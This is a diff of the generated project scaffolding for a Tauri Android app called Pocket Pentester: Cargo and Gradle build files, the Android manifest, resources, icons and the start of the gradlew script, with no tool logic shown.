dsad
7
src-tauri/.gitignore
vendored
Normal file
@@ -0,0 +1,7 @@
|
||||
# Generated by Cargo
|
||||
# will have compiled files and executables
|
||||
/target/
|
||||
|
||||
# Generated by Tauri
|
||||
# will have schema files for capabilities auto-completion
|
||||
/gen/schemas
|
||||
6321
src-tauri/Cargo.lock
generated
Normal file
48
src-tauri/Cargo.toml
Normal file
@@ -0,0 +1,48 @@
|
||||
[package]
|
||||
name = "pocketpentester"
|
||||
version = "0.1.0"
|
||||
description = "Mobile pentester toolkit"
|
||||
authors = ["imtaqin"]
|
||||
edition = "2021"
|
||||
|
||||
[lib]
|
||||
name = "pocketpentester_lib"
|
||||
crate-type = ["staticlib", "cdylib", "rlib"]
|
||||
|
||||
[build-dependencies]
|
||||
tauri-build = { version = "2", features = [] }
|
||||
|
||||
[dependencies]
|
||||
tauri = { version = "2", features = [] }
|
||||
tauri-plugin-opener = "2"
|
||||
serde = { version = "1", features = ["derive"] }
|
||||
serde_json = "1"
|
||||
|
||||
tokio = { version = "1", features = ["rt-multi-thread", "net", "time", "macros", "sync", "io-util", "fs"] }
|
||||
walkdir = "2"
|
||||
local-ip-address = "0.6"
|
||||
rustls = { version = "0.23", default-features = false, features = ["std", "ring"] }
|
||||
tokio-rustls = { version = "0.26", default-features = false, features = ["ring"] }
|
||||
x509-parser = "0.17"
|
||||
rustls-pki-types = "1"
|
||||
md5 = "0.7"
|
||||
futures = "0.3"
|
||||
reqwest = { version = "0.12", default-features = false, features = ["rustls-tls", "gzip", "json", "cookies"] }
|
||||
hickory-resolver = "0.24"
|
||||
anyhow = "1"
|
||||
regex = "1"
|
||||
once_cell = "1"
|
||||
url = "2"
|
||||
base64 = "0.22"
|
||||
hmac = "0.12"
|
||||
sha2 = "0.10"
|
||||
rand = "0.8"
|
||||
serde_yaml = "0.9"
|
||||
urlencoding = "2"
|
||||
|
||||
[profile.release]
|
||||
opt-level = "z"
|
||||
lto = true
|
||||
codegen-units = 1
|
||||
strip = true
|
||||
panic = "abort"
|
||||
3
src-tauri/build.rs
Normal file
@@ -0,0 +1,3 @@
|
||||
fn main() {
|
||||
tauri_build::build()
|
||||
}
|
||||
10
src-tauri/capabilities/default.json
Normal file
@@ -0,0 +1,10 @@
|
||||
{
|
||||
"$schema": "../gen/schemas/desktop-schema.json",
|
||||
"identifier": "default",
|
||||
"description": "Capability for the main window",
|
||||
"windows": ["main"],
|
||||
"permissions": [
|
||||
"core:default",
|
||||
"opener:default"
|
||||
]
|
||||
}
|
||||
12
src-tauri/gen/android/.editorconfig
Normal file
@@ -0,0 +1,12 @@
|
||||
# EditorConfig is awesome: https://EditorConfig.org
|
||||
|
||||
# top-most EditorConfig file
|
||||
root = true
|
||||
|
||||
[*]
|
||||
indent_style = space
|
||||
indent_size = 2
|
||||
end_of_line = lf
|
||||
charset = utf-8
|
||||
trim_trailing_whitespace = false
|
||||
insert_final_newline = false
|
||||
19
src-tauri/gen/android/.gitignore
vendored
Normal file
@@ -0,0 +1,19 @@
|
||||
*.iml
|
||||
.gradle
|
||||
/local.properties
|
||||
/.idea/caches
|
||||
/.idea/libraries
|
||||
/.idea/modules.xml
|
||||
/.idea/workspace.xml
|
||||
/.idea/navEditor.xml
|
||||
/.idea/assetWizardSettings.xml
|
||||
.DS_Store
|
||||
build
|
||||
/captures
|
||||
.externalNativeBuild
|
||||
.cxx
|
||||
local.properties
|
||||
key.properties
|
||||
|
||||
/.tauri
|
||||
/tauri.settings.gradle
|
||||
6
src-tauri/gen/android/app/.gitignore
vendored
Normal file
@@ -0,0 +1,6 @@
|
||||
/src/main/**/generated
|
||||
/src/main/jniLibs/**/*.so
|
||||
/src/main/assets/tauri.conf.json
|
||||
/tauri.build.gradle.kts
|
||||
/proguard-tauri.pro
|
||||
/tauri.properties
|
||||
70
src-tauri/gen/android/app/build.gradle.kts
Normal file
@@ -0,0 +1,70 @@
|
||||
import java.util.Properties
|
||||
|
||||
plugins {
|
||||
id("com.android.application")
|
||||
id("org.jetbrains.kotlin.android")
|
||||
id("rust")
|
||||
}
|
||||
|
||||
val tauriProperties = Properties().apply {
|
||||
val propFile = file("tauri.properties")
|
||||
if (propFile.exists()) {
|
||||
propFile.inputStream().use { load(it) }
|
||||
}
|
||||
}
|
||||
|
||||
android {
|
||||
compileSdk = 36
|
||||
namespace = "com.imtaqin.pocketpentester"
|
||||
defaultConfig {
|
||||
manifestPlaceholders["usesCleartextTraffic"] = "false"
|
||||
applicationId = "com.imtaqin.pocketpentester"
|
||||
minSdk = 24
|
||||
targetSdk = 36
|
||||
versionCode = tauriProperties.getProperty("tauri.android.versionCode", "1").toInt()
|
||||
versionName = tauriProperties.getProperty("tauri.android.versionName", "1.0")
|
||||
}
|
||||
buildTypes {
|
||||
getByName("debug") {
|
||||
manifestPlaceholders["usesCleartextTraffic"] = "true"
|
||||
isDebuggable = true
|
||||
isJniDebuggable = true
|
||||
isMinifyEnabled = false
|
||||
packaging { jniLibs.keepDebugSymbols.add("*/arm64-v8a/*.so")
|
||||
jniLibs.keepDebugSymbols.add("*/armeabi-v7a/*.so")
|
||||
jniLibs.keepDebugSymbols.add("*/x86/*.so")
|
||||
jniLibs.keepDebugSymbols.add("*/x86_64/*.so")
|
||||
}
|
||||
}
|
||||
getByName("release") {
|
||||
isMinifyEnabled = true
|
||||
proguardFiles(
|
||||
*fileTree(".") { include("**/*.pro") }
|
||||
.plus(getDefaultProguardFile("proguard-android-optimize.txt"))
|
||||
.toList().toTypedArray()
|
||||
)
|
||||
}
|
||||
}
|
||||
kotlinOptions {
|
||||
jvmTarget = "1.8"
|
||||
}
|
||||
buildFeatures {
|
||||
buildConfig = true
|
||||
}
|
||||
}
|
||||
|
||||
rust {
|
||||
rootDirRel = "../../../"
|
||||
}
|
||||
|
||||
dependencies {
|
||||
implementation("androidx.webkit:webkit:1.14.0")
|
||||
implementation("androidx.appcompat:appcompat:1.7.1")
|
||||
implementation("androidx.activity:activity-ktx:1.10.1")
|
||||
implementation("com.google.android.material:material:1.12.0")
|
||||
testImplementation("junit:junit:4.13.2")
|
||||
androidTestImplementation("androidx.test.ext:junit:1.1.4")
|
||||
androidTestImplementation("androidx.test.espresso:espresso-core:3.5.0")
|
||||
}
|
||||
|
||||
apply(from = "tauri.build.gradle.kts")
|
||||
21
src-tauri/gen/android/app/proguard-rules.pro
vendored
Normal file
@@ -0,0 +1,21 @@
|
||||
# Add project specific ProGuard rules here.
|
||||
# You can control the set of applied configuration files using the
|
||||
# proguardFiles setting in build.gradle.
|
||||
#
|
||||
# For more details, see
|
||||
# http://developer.android.com/guide/developing/tools/proguard.html
|
||||
|
||||
# If your project uses WebView with JS, uncomment the following
|
||||
# and specify the fully qualified class name to the JavaScript interface
|
||||
# class:
|
||||
#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
|
||||
# public *;
|
||||
#}
|
||||
|
||||
# Uncomment this to preserve the line number information for
|
||||
# debugging stack traces.
|
||||
#-keepattributes SourceFile,LineNumberTable
|
||||
|
||||
# If you keep the line number information, uncomment this to
|
||||
# hide the original source file name.
|
||||
#-renamesourcefileattribute SourceFile
|
||||
37
src-tauri/gen/android/app/src/main/AndroidManifest.xml
Normal file
@@ -0,0 +1,37 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
|
||||
<uses-permission android:name="android.permission.INTERNET" />
|
||||
|
||||
<!-- AndroidTV support -->
|
||||
<uses-feature android:name="android.software.leanback" android:required="false" />
|
||||
|
||||
<application
|
||||
android:icon="@mipmap/ic_launcher"
|
||||
android:label="@string/app_name"
|
||||
android:theme="@style/Theme.pocketpentester"
|
||||
android:usesCleartextTraffic="${usesCleartextTraffic}">
|
||||
<activity
|
||||
android:configChanges="orientation|keyboardHidden|keyboard|screenSize|locale|smallestScreenSize|screenLayout|uiMode"
|
||||
android:launchMode="singleTask"
|
||||
android:label="@string/main_activity_title"
|
||||
android:name=".MainActivity"
|
||||
android:exported="true">
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.MAIN" />
|
||||
<category android:name="android.intent.category.LAUNCHER" />
|
||||
<!-- AndroidTV support -->
|
||||
<category android:name="android.intent.category.LEANBACK_LAUNCHER" />
|
||||
</intent-filter>
|
||||
</activity>
|
||||
|
||||
<provider
|
||||
android:name="androidx.core.content.FileProvider"
|
||||
android:authorities="${applicationId}.fileprovider"
|
||||
android:exported="false"
|
||||
android:grantUriPermissions="true">
|
||||
<meta-data
|
||||
android:name="android.support.FILE_PROVIDER_PATHS"
|
||||
android:resource="@xml/file_paths" />
|
||||
</provider>
|
||||
</application>
|
||||
</manifest>
|
||||
@@ -0,0 +1,11 @@
|
||||
package com.imtaqin.pocketpentester
|
||||
|
||||
import android.os.Bundle
|
||||
import androidx.activity.enableEdgeToEdge
|
||||
|
||||
class MainActivity : TauriActivity() {
|
||||
override fun onCreate(savedInstanceState: Bundle?) {
|
||||
enableEdgeToEdge()
|
||||
super.onCreate(savedInstanceState)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
<vector xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
xmlns:aapt="http://schemas.android.com/aapt"
|
||||
android:width="108dp"
|
||||
android:height="108dp"
|
||||
android:viewportWidth="108"
|
||||
android:viewportHeight="108">
|
||||
<path android:pathData="M31,63.928c0,0 6.4,-11 12.1,-13.1c7.2,-2.6 26,-1.4 26,-1.4l38.1,38.1L107,108.928l-32,-1L31,63.928z">
|
||||
<aapt:attr name="android:fillColor">
|
||||
<gradient
|
||||
android:endX="85.84757"
|
||||
android:endY="92.4963"
|
||||
android:startX="42.9492"
|
||||
android:startY="49.59793"
|
||||
android:type="linear">
|
||||
<item
|
||||
android:color="#44000000"
|
||||
android:offset="0.0" />
|
||||
<item
|
||||
android:color="#00000000"
|
||||
android:offset="1.0" />
|
||||
</gradient>
|
||||
</aapt:attr>
|
||||
</path>
|
||||
<path
|
||||
android:fillColor="#FFFFFF"
|
||||
android:fillType="nonZero"
|
||||
android:pathData="M65.3,45.828l3.8,-6.6c0.2,-0.4 0.1,-0.9 -0.3,-1.1c-0.4,-0.2 -0.9,-0.1 -1.1,0.3l-3.9,6.7c-6.3,-2.8 -13.4,-2.8 -19.7,0l-3.9,-6.7c-0.2,-0.4 -0.7,-0.5 -1.1,-0.3C38.8,38.328 38.7,38.828 38.9,39.228l3.8,6.6C36.2,49.428 31.7,56.028 31,63.928h46C76.3,56.028 71.8,49.428 65.3,45.828zM43.4,57.328c-0.8,0 -1.5,-0.5 -1.8,-1.2c-0.3,-0.7 -0.1,-1.5 0.4,-2.1c0.5,-0.5 1.4,-0.7 2.1,-0.4c0.7,0.3 1.2,1 1.2,1.8C45.3,56.528 44.5,57.328 43.4,57.328L43.4,57.328zM64.6,57.328c-0.8,0 -1.5,-0.5 -1.8,-1.2s-0.1,-1.5 0.4,-2.1c0.5,-0.5 1.4,-0.7 2.1,-0.4c0.7,0.3 1.2,1 1.2,1.8C66.5,56.528 65.6,57.328 64.6,57.328L64.6,57.328z"
|
||||
android:strokeWidth="1"
|
||||
android:strokeColor="#00000000" />
|
||||
</vector>
|
||||
@@ -0,0 +1,170 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<vector xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
android:width="108dp"
|
||||
android:height="108dp"
|
||||
android:viewportWidth="108"
|
||||
android:viewportHeight="108">
|
||||
<path
|
||||
android:fillColor="#3DDC84"
|
||||
android:pathData="M0,0h108v108h-108z" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M9,0L9,108"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M19,0L19,108"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M29,0L29,108"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M39,0L39,108"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M49,0L49,108"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M59,0L59,108"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M69,0L69,108"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M79,0L79,108"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M89,0L89,108"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M99,0L99,108"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M0,9L108,9"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M0,19L108,19"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M0,29L108,29"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M0,39L108,39"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M0,49L108,49"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M0,59L108,59"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M0,69L108,69"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M0,79L108,79"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M0,89L108,89"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M0,99L108,99"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M19,29L89,29"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M19,39L89,39"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M19,49L89,49"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M19,59L89,59"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M19,69L89,69"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M19,79L89,79"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M29,19L29,89"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M39,19L39,89"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M49,19L49,89"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M59,19L59,89"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M69,19L69,89"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M79,19L79,89"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
</vector>
|
||||
@@ -0,0 +1,18 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
xmlns:app="http://schemas.android.com/apk/res-auto"
|
||||
xmlns:tools="http://schemas.android.com/tools"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="match_parent"
|
||||
tools:context=".MainActivity">
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="Hello World!"
|
||||
app:layout_constraintBottom_toBottomOf="parent"
|
||||
app:layout_constraintLeft_toLeftOf="parent"
|
||||
app:layout_constraintRight_toRightOf="parent"
|
||||
app:layout_constraintTop_toTopOf="parent" />
|
||||
|
||||
</androidx.constraintlayout.widget.ConstraintLayout>
|
||||
|
After Width: | Height: | Size: 4.4 KiB |
|
After Width: | Height: | Size: 16 KiB |
|
After Width: | Height: | Size: 4.4 KiB |
|
After Width: | Height: | Size: 2.5 KiB |
|
After Width: | Height: | Size: 7.9 KiB |
|
After Width: | Height: | Size: 2.5 KiB |
|
After Width: | Height: | Size: 6.6 KiB |
|
After Width: | Height: | Size: 27 KiB |
|
After Width: | Height: | Size: 6.6 KiB |
|
After Width: | Height: | Size: 13 KiB |
|
After Width: | Height: | Size: 61 KiB |
|
After Width: | Height: | Size: 13 KiB |
|
After Width: | Height: | Size: 22 KiB |
|
After Width: | Height: | Size: 112 KiB |
|
After Width: | Height: | Size: 22 KiB |
@@ -0,0 +1,6 @@
|
||||
<resources xmlns:tools="http://schemas.android.com/tools">
|
||||
<!-- Base application theme. -->
|
||||
<style name="Theme.pocketpentester" parent="Theme.MaterialComponents.DayNight.NoActionBar">
|
||||
<!-- Customize your theme here. -->
|
||||
</style>
|
||||
</resources>
|
||||
10
src-tauri/gen/android/app/src/main/res/values/colors.xml
Normal file
@@ -0,0 +1,10 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<color name="purple_200">#FFBB86FC</color>
|
||||
<color name="purple_500">#FF6200EE</color>
|
||||
<color name="purple_700">#FF3700B3</color>
|
||||
<color name="teal_200">#FF03DAC5</color>
|
||||
<color name="teal_700">#FF018786</color>
|
||||
<color name="black">#FF000000</color>
|
||||
<color name="white">#FFFFFFFF</color>
|
||||
</resources>
|
||||
@@ -0,0 +1,4 @@
|
||||
<resources>
|
||||
<string name="app_name">Pocket Pentester</string>
|
||||
<string name="main_activity_title">Pocket Pentester</string>
|
||||
</resources>
|
||||
6
src-tauri/gen/android/app/src/main/res/values/themes.xml
Normal file
@@ -0,0 +1,6 @@
|
||||
<resources xmlns:tools="http://schemas.android.com/tools">
|
||||
<!-- Base application theme. -->
|
||||
<style name="Theme.pocketpentester" parent="Theme.MaterialComponents.DayNight.NoActionBar">
|
||||
<!-- Customize your theme here. -->
|
||||
</style>
|
||||
</resources>
|
||||
@@ -0,0 +1,5 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<paths xmlns:android="http://schemas.android.com/apk/res/android">
|
||||
<external-path name="my_images" path="." />
|
||||
<cache-path name="my_cache_images" path="." />
|
||||
</paths>
|
||||
22
src-tauri/gen/android/build.gradle.kts
Normal file
@@ -0,0 +1,22 @@
|
||||
buildscript {
|
||||
repositories {
|
||||
google()
|
||||
mavenCentral()
|
||||
}
|
||||
dependencies {
|
||||
classpath("com.android.tools.build:gradle:8.11.0")
|
||||
classpath("org.jetbrains.kotlin:kotlin-gradle-plugin:1.9.25")
|
||||
}
|
||||
}
|
||||
|
||||
allprojects {
|
||||
repositories {
|
||||
google()
|
||||
mavenCentral()
|
||||
}
|
||||
}
|
||||
|
||||
tasks.register("clean").configure {
|
||||
delete("build")
|
||||
}
|
||||
|
||||
23
src-tauri/gen/android/buildSrc/build.gradle.kts
Normal file
@@ -0,0 +1,23 @@
|
||||
plugins {
|
||||
`kotlin-dsl`
|
||||
}
|
||||
|
||||
gradlePlugin {
|
||||
plugins {
|
||||
create("pluginsForCoolKids") {
|
||||
id = "rust"
|
||||
implementationClass = "RustPlugin"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
repositories {
|
||||
google()
|
||||
mavenCentral()
|
||||
}
|
||||
|
||||
dependencies {
|
||||
compileOnly(gradleApi())
|
||||
implementation("com.android.tools.build:gradle:8.11.0")
|
||||
}
|
||||
|
||||
@@ -0,0 +1,68 @@
|
||||
import java.io.File
|
||||
import org.apache.tools.ant.taskdefs.condition.Os
|
||||
import org.gradle.api.DefaultTask
|
||||
import org.gradle.api.GradleException
|
||||
import org.gradle.api.logging.LogLevel
|
||||
import org.gradle.api.tasks.Input
|
||||
import org.gradle.api.tasks.TaskAction
|
||||
|
||||
open class BuildTask : DefaultTask() {
|
||||
@Input
|
||||
var rootDirRel: String? = null
|
||||
@Input
|
||||
var target: String? = null
|
||||
@Input
|
||||
var release: Boolean? = null
|
||||
|
||||
@TaskAction
|
||||
fun assemble() {
|
||||
val executable = """npm""";
|
||||
try {
|
||||
runTauriCli(executable)
|
||||
} catch (e: Exception) {
|
||||
if (Os.isFamily(Os.FAMILY_WINDOWS)) {
|
||||
// Try different Windows-specific extensions
|
||||
val fallbacks = listOf(
|
||||
"$executable.exe",
|
||||
"$executable.cmd",
|
||||
"$executable.bat",
|
||||
)
|
||||
|
||||
var lastException: Exception = e
|
||||
for (fallback in fallbacks) {
|
||||
try {
|
||||
runTauriCli(fallback)
|
||||
return
|
||||
} catch (fallbackException: Exception) {
|
||||
lastException = fallbackException
|
||||
}
|
||||
}
|
||||
throw lastException
|
||||
} else {
|
||||
throw e;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fun runTauriCli(executable: String) {
|
||||
val rootDirRel = rootDirRel ?: throw GradleException("rootDirRel cannot be null")
|
||||
val target = target ?: throw GradleException("target cannot be null")
|
||||
val release = release ?: throw GradleException("release cannot be null")
|
||||
val args = listOf("run", "--", "tauri", "android", "android-studio-script");
|
||||
|
||||
project.exec {
|
||||
workingDir(File(project.projectDir, rootDirRel))
|
||||
executable(executable)
|
||||
args(args)
|
||||
if (project.logger.isEnabled(LogLevel.DEBUG)) {
|
||||
args("-vv")
|
||||
} else if (project.logger.isEnabled(LogLevel.INFO)) {
|
||||
args("-v")
|
||||
}
|
||||
if (release) {
|
||||
args("--release")
|
||||
}
|
||||
args(listOf("--target", target))
|
||||
}.assertNormalExitValue()
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,85 @@
|
||||
import com.android.build.api.dsl.ApplicationExtension
|
||||
import org.gradle.api.DefaultTask
|
||||
import org.gradle.api.Plugin
|
||||
import org.gradle.api.Project
|
||||
import org.gradle.kotlin.dsl.configure
|
||||
import org.gradle.kotlin.dsl.get
|
||||
|
||||
const val TASK_GROUP = "rust"
|
||||
|
||||
open class Config {
|
||||
lateinit var rootDirRel: String
|
||||
}
|
||||
|
||||
open class RustPlugin : Plugin<Project> {
|
||||
private lateinit var config: Config
|
||||
|
||||
override fun apply(project: Project) = with(project) {
|
||||
config = extensions.create("rust", Config::class.java)
|
||||
|
||||
val defaultAbiList = listOf("arm64-v8a", "armeabi-v7a", "x86", "x86_64");
|
||||
val abiList = (findProperty("abiList") as? String)?.split(',') ?: defaultAbiList
|
||||
|
||||
val defaultArchList = listOf("arm64", "arm", "x86", "x86_64");
|
||||
val archList = (findProperty("archList") as? String)?.split(',') ?: defaultArchList
|
||||
|
||||
val targetsList = (findProperty("targetList") as? String)?.split(',') ?: listOf("aarch64", "armv7", "i686", "x86_64")
|
||||
|
||||
extensions.configure<ApplicationExtension> {
|
||||
@Suppress("UnstableApiUsage")
|
||||
flavorDimensions.add("abi")
|
||||
productFlavors {
|
||||
create("universal") {
|
||||
dimension = "abi"
|
||||
ndk {
|
||||
abiFilters += abiList
|
||||
}
|
||||
}
|
||||
defaultArchList.forEachIndexed { index, arch ->
|
||||
create(arch) {
|
||||
dimension = "abi"
|
||||
ndk {
|
||||
abiFilters.add(defaultAbiList[index])
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
afterEvaluate {
|
||||
for (profile in listOf("debug", "release")) {
|
||||
val profileCapitalized = profile.replaceFirstChar { it.uppercase() }
|
||||
val buildTask = tasks.maybeCreate(
|
||||
"rustBuildUniversal$profileCapitalized",
|
||||
DefaultTask::class.java
|
||||
).apply {
|
||||
group = TASK_GROUP
|
||||
description = "Build dynamic library in $profile mode for all targets"
|
||||
}
|
||||
|
||||
tasks["mergeUniversal${profileCapitalized}JniLibFolders"].dependsOn(buildTask)
|
||||
|
||||
for (targetPair in targetsList.withIndex()) {
|
||||
val targetName = targetPair.value
|
||||
val targetArch = archList[targetPair.index]
|
||||
val targetArchCapitalized = targetArch.replaceFirstChar { it.uppercase() }
|
||||
val targetBuildTask = project.tasks.maybeCreate(
|
||||
"rustBuild$targetArchCapitalized$profileCapitalized",
|
||||
BuildTask::class.java
|
||||
).apply {
|
||||
group = TASK_GROUP
|
||||
description = "Build dynamic library in $profile mode for $targetArch"
|
||||
rootDirRel = config.rootDirRel
|
||||
target = targetName
|
||||
release = profile == "release"
|
||||
}
|
||||
|
||||
buildTask.dependsOn(targetBuildTask)
|
||||
tasks["merge$targetArchCapitalized${profileCapitalized}JniLibFolders"].dependsOn(
|
||||
targetBuildTask
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
24
src-tauri/gen/android/gradle.properties
Normal file
@@ -0,0 +1,24 @@
|
||||
# Project-wide Gradle settings.
|
||||
# IDE (e.g. Android Studio) users:
|
||||
# Gradle settings configured through the IDE *will override*
|
||||
# any settings specified in this file.
|
||||
# For more details on how to configure your build environment visit
|
||||
# http://www.gradle.org/docs/current/userguide/build_environment.html
|
||||
# Specifies the JVM arguments used for the daemon process.
|
||||
# The setting is particularly useful for tweaking memory settings.
|
||||
org.gradle.jvmargs=-Xmx2048m -Dfile.encoding=UTF-8
|
||||
# When configured, Gradle will run in incubating parallel mode.
|
||||
# This option should only be used with decoupled projects. More details, visit
|
||||
# http://www.gradle.org/docs/current/userguide/multi_project_builds.html#sec:decoupled_projects
|
||||
# org.gradle.parallel=true
|
||||
# AndroidX package structure to make it clearer which packages are bundled with the
|
||||
# Android operating system, and which are packaged with your app"s APK
|
||||
# https://developer.android.com/topic/libraries/support-library/androidx-rn
|
||||
android.useAndroidX=true
|
||||
# Kotlin code style for this project: "official" or "obsolete":
|
||||
kotlin.code.style=official
|
||||
# Enables namespacing of each library's R class so that its R class includes only the
|
||||
# resources declared in the library itself and none from the library's dependencies,
|
||||
# thereby reducing the size of the R class for that library
|
||||
android.nonTransitiveRClass=true
|
||||
android.nonFinalResIds=false
|
||||
BIN
src-tauri/gen/android/gradle/wrapper/gradle-wrapper.jar
vendored
Normal file
6
src-tauri/gen/android/gradle/wrapper/gradle-wrapper.properties
vendored
Normal file
@@ -0,0 +1,6 @@
|
||||
#Tue May 10 19:22:52 CST 2022
|
||||
distributionBase=GRADLE_USER_HOME
|
||||
distributionUrl=https\://services.gradle.org/distributions/gradle-8.14.3-bin.zip
|
||||
distributionPath=wrapper/dists
|
||||
zipStorePath=wrapper/dists
|
||||
zipStoreBase=GRADLE_USER_HOME
|
||||
185
src-tauri/gen/android/gradlew
vendored
Normal file
@@ -0,0 +1,185 @@
|
||||
#!/usr/bin/env sh
|
||||
|
||||
#
|
||||
# Copyright 2015 the original author or authors.
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# https://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
|
||||
##############################################################################
|
||||
##
|
||||
## Gradle start up script for UN*X
|
||||
##
|
||||
##############################################################################
|
||||
|
||||
# Attempt to set APP_HOME
|
||||
# Resolve links: $0 may be a link
|
||||
PRG="$0"
|
||||
# Need this for relative symlinks.
|
||||
while [ -h "$PRG" ] ; do
|
||||
ls=`ls -ld "$PRG"`
|
||||
link=`expr "$ls" : '.*-> \(.*\)$'`
|
||||
